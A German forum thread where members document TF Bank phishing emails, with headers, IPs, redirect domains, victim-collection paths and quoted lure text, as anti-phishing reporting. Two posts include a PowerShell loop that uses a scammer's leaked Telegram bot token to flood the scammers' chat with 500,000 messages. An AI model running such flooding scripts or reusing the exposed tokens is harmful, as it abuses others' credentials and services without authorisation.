Phishing f. TF-Bank-Logins

[schara56]

Ich habe eine schöne Phishing-Mail bekommen:

header:

01: Received: from www.wannabebig.com ([37.46.112.5]) by mail.gmx.net (mrgmx005
02:  [212.227.17.190]) with ESMTPSA (Nemesis) ID: [ID filtered]
03:  <x>; Fri, 25 Aug 2023 xx:xx:xx +0200

Der Aufruf von ^whois: [Link nur für registrierte Mitglieder sichtbar. ] führt zu einem Post in einer Telegram-Gruppe:
^whois: [Link nur für registrierte Mitglieder sichtbar. ]/sendMessage?chat_id=-1001946819281&text=Click Tfb

Erinnert ihr euch noch an das " [Link nur für registrierte Mitglieder sichtbar. ]?

Dieses mal nicht "Sahne tropfen", sondern "Sahne stopfen".

$url = 'https://api.telegram.org/bot6674737313:AAFkc7eS5FwyN814TtXYnCHl5aDVkhVvmPw/sendMessage'
$post = @{ chat_id='-1001946819281';text='Click Tfb'}
(1..500000).ForEach{ Invoke-WebRequest -Uri $url -Method Post -Body $post }

Die Opfer werden hier gesammelt: ^whois: [Link nur für registrierte Mitglieder sichtbar. ]/tfo/tf/victims/

[schara56]

Kein Post zu einem Telegram-Kanal; da wurde wohl zuviel Sahne beigemengt...

header:

01: Received: from localhost ([3.81.99.64]) by mail.gmx.net (mrgmx005
02:  [212.227.17.190]) with ESMTPSA (Nemesis) ID: [ID filtered]
03:  Sep 2023 xx:xx:xx +0200

header:

01: Received: from localhost ([3.81.99.64]) by mail.gmx.net (mrgmx004
02:  [212.227.17.190]) with ESMTPSA (Nemesis) ID: [ID filtered]
03:  Sep 2023 xx:xx:xx +0200

Beworbene Domain	IP Adresse(n)	Weiterleitung (j/n)
whois: [Link nur für registrierte Mitglieder sichtbar. ]	whois:199.36.158.100 whois:2620:0:890::100	[X] ja / [ ] nein
whois: [Link nur für registrierte Mitglieder sichtbar. ] /rot /tfr /web /login.php	whois:211.72.53.129	[X] ja / [ ] nein
whois: [Link nur für registrierte Mitglieder sichtbar. ] /rot /tfr /victims /<your-ip>.txt	whois:211.72.53.129	[ ] ja / [X] nein

[schara56]

header:

01: Received: from localhost ([3.81.99.64]) by mail.gmx.net (mrgmx105
02:  [212.227.17.168]) with ESMTPSA (Nemesis) ID: [ID filtered]
03:  Sep 2023 xx:xx:xx +0200

Beworbene Domain	IP Adresse(n)	Weiterleitung (j/n)
whois: [Link nur für registrierte Mitglieder sichtbar. ]	whois:199.36.158.100 whois:2620:0:890::100	[X] ja / [ ] nein
whois: [Link nur für registrierte Mitglieder sichtbar. ] /rot /tfr /web /login.php	whois:211.72.53.129	[X] ja / [ ] nein

Gesammelt wird wieder hier: ^whois: [Link nur für registrierte Mitglieder sichtbar. ]/rot/tfr/victims/<your ip>.txt

[kjz1]

TF Bank? noch nie gehört...

Aber evil Google natürlich wieder an der Phishing-Front dabei...

header:

01: Received: from qp-mail.eu ([46.249.61.91]) by mx-ha.gmx.net (mxgmx108
02:  [212.227.17.5]) with ESMTPS (Nemesis) ID: [ID filtered]
03:  <x>; Mon, 02 Oct 2023 xx:xx:xx +0200
04: Received: from euqpdata1.questionpro.net (euqpdata1 [10.0.3.108])
05: 	by qp-mail.eu (Postfix) with ESMTP ID: [ID filtered]
06: 	for <x>; Mon,  2 Oct 2023 xx:xx:xx -0700 (PDT)

Ihrem Konto fehlen Updates
Start Survey

^whois: [Link nur für registrierte Mitglieder sichtbar. ]...
IP: 34.149.35.41 -> AS396982 - Google LLC

Das Bildchen gibt es auf:

^whois: [Link nur für registrierte Mitglieder sichtbar. ]
IP: 104.23.129.67 -> AS13335 - Cloudflare, Inc.

[kjz1]

evil Google leistet auch weiter Beihilfe zu kriminellen Taten:

header:

01: Received: from qp-mail.eu ([46.249.61.91]) by mx-ha.gmx.net (mxgmx008
02:  [212.227.15.9]) with ESMTPS (Nemesis) ID: [ID filtered]
03:  <x>; Tue, 03 Oct 2023 xx:xx:xx +0200
04: Received: from euqpdata1.questionpro.net (euqpdata1 [10.0.3.108])
05: 	by qp-mail.eu (Postfix) with ESMTP ID: [ID filtered]
06: 	for <x>; Tue,  3 Oct 2023 xx:xx:xx -0700 (PDT)

IP: 46.249.61.91 -> AS50673 - Serverius, NL

Ihrem Konto TF fehlen Updates

Start Survey

^whois: [Link nur für registrierte Mitglieder sichtbar. ]...
IP: 34.149.35.41 -> AS396982 - Google LLC

Bildchen auf:

^whois: [Link nur für registrierte Mitglieder sichtbar. ]
IP: 34.102.253.235 -> AS396982 - Google LLC

[truelife]

Start Survey

Powered by QuestionPro

TFBank Potsdamer Str 21 Berlin, 10783 Germany

This email is sent by QuestionPro on behalf of [Link nur für registrierte Mitglieder sichtbar. ]

Unsubscribe | Report Spam

header:

01: Received: from qp-mail.eu ([46.249.61.91]) by mx-ha.gmx.net (mxgmx006
02:  [212.227.15.9]) with ESMTPS (Nemesis) ID: [ID filtered]
03:  <*snip*>; Tue, 03 Oct 2023 xx:xx:xx +0200
04: Received: from euqpdata1.questionpro.net (euqpdata1 [10.0.3.108])
05: 	by qp-mail.eu (Postfix) with ESMTP ID: [ID filtered]
06: 	for <*snip*>; Tue,  3 Oct 2023 xx:xx:xx -0700 (PDT)

[mephistopheles]

Zum Verständnis: Kannst du das etwas genauer begründen? Also wer was warum löschen soll?
hoppala

1. Ursprünglich in dem Posting Geschriebenes stellte sich als Fake dar
2. daraufhin konnte ich das Posting nur editieren Modedit: done
3. der Beitrag #7 ist nicht Thread-förderlich, weil er keine Informationen enthält

@hoppala, ich hoffe dein "Wissensdurst" ist gestillt.

[kjz1]

neuer Anlauf dank evil Google:

header:

01: Received: from qp-mail.eu ([46.249.61.91]) by mx-ha.gmx.net (mxgmx008
02:  [212.227.15.9]) with ESMTPS (Nemesis) ID: [ID filtered]
03:  <x>; Mon, 09 Oct 2023 xx:xx:xx +0200
04: Received: from euqpdata1.questionpro.net (euqpdata1 [10.0.3.108])
05: 	by qp-mail.eu (Postfix) with ESMTP ID: [ID filtered]
06: 	for <x>; Mon,  9 Oct 2023 xx:xx:xx -0700 (PDT)

Sehr geehrter Kunde, Wir haben festgestellt, dass Ihr Konto von einem
neuen Standort aus eröffnet wurde. Um die Sicherheit Ihres Kontos zu
gewährlei

Unsubscribe | Report Spam
TF Bank

Sehr geehrter Kunde,

Wir haben festgestellt, dass Ihr Konto von einem neuen Standort aus
eröffnet wurde. Um die Sicherheit Ihres Kontos zu gewährleisten, bitten
wir Sie, Ihre Angaben zu bestätigen und den erforderlichen Vorgang
abzuschließen, indem Sie auf die Schaltfläche unten klicken. Wir freuen
uns über Ihre sofortige Aufmerksamkeit in dieser Angelegenheit.

Bittle ûberprûfen Sie lhre Nachrichten, indem Sie sich anmelden:

Klicken Sie Hier

P.S: Die neuen Änderungen betreffen hauptsâchlich die Synchronisierung
lhres Mobiltelefons und lhrer Mailbox, un lhnen aktualisierte
Erinnerungen per E-mail zu senden.

Start Survey

Powered by QuestionPro

untitled Karlpl. 7, 10117 Berlin, Allem berlin, allemagne 10000 berlin

^whois: [Link nur für registrierte Mitglieder sichtbar. ]...
IP: 34.149.35.41 -> AS396982 - Google LLC

[kjz1]

Ein Server des Finanzministeriums in Thailand gecrackt...

header:

01: Received: from smtp-relay.mof.go.th ([124.109.24.16]) by mx-ha.gmx.net
02:  (mxgmx008 [212.227.15.9]) with ESMTP (Nemesis) ID: [ID filtered]
03:  for <x>; Sat, 21 Oct 2023 xx:xx:xx +0200
04: Received: from webmail.frdfund.go.th ([124.109.28.89])
05: 	by smtp-relay.mof.go.th stage1 with esmtp
06: 	(Exim MailCleaner)
07: 	ID: [ID filtered]
08: 	from <Notifications [at] frdfund.go.th>;
09: 	Sat, 21 Oct 2023 xx:xx:xx +0700
10: Received: from webmail.frdfund.go.th (localhost [127.0.0.1])
11: 	by webmail.frdfund.go.th (Postfix) with ESMTP ID: [ID filtered]
12: 	Sat, 21 Oct 2023 xx:xx:xx +0700 (+07)

[Link nur für registrierte Mitglieder sichtbar. ]

Wichtige Information zu Ihrer Karte! ㅤ

^whois: [Link nur für registrierte Mitglieder sichtbar. ]
IP: 188.114.97.3 -> AS13335 - Cloudflare, Inc.

weiter auf:

^whois: [Link nur für registrierte Mitglieder sichtbar. ]
IP: 191.252.96.178 -> AS27715 - Locaweb Serviços de Internet S/A, BR

Trustwave: Phishing

[schara56]

header:

01: Received: from localhost ([51.75.41.114]) by mail.gmx.net (mrgmx005
02:  [212.227.17.190]) with ESMTPSA (Nemesis) ID: [ID filtered]
03:  Oct 2023 xx:xx:xx +0200

header:

01: Received: from localhost ([51.75.41.114]) by mail.gmx.net (mrgmx005
02:  [212.227.17.190]) with ESMTPSA (Nemesis) ID: [ID filtered]
03:  Oct 2023 xx:xx:xx +0200

Beworbene Domain	IP Adresse(n)	Weiterleitung (j/n)
whois: [Link nur für registrierte Mitglieder sichtbar. ]	whois:199.36.158.100 whois:2620:0:890::100	[X] ja / [ ] nein
whois: [Link nur für registrierte Mitglieder sichtbar. ] /lod /gerft /web /login.php	whois:172.67.189.35 whois:104.21.65.69 whois:2606:4700:3033::ac43:bd23 whois:2606:4700:3035::6815:4145	[X] ja / [ ] nein

Der Sahnespender läuft schon auf Hochtouren:

$url = 'https://api.telegram.org/bot6684996608:AAHuN2a2-uXfXFaXuNUp0S7p3xBY46u44ng/sendMessage'
$post = @{ chat_id='-1001614523318';text='You stupid scammer!'}
(1..500000).ForEach{ Invoke-WebRequest -Uri $url -Method Post -Body $post }

Der Appetit von Scammy wurde gestillt:

"Forbidden: bot was kicked from the supergroup chat"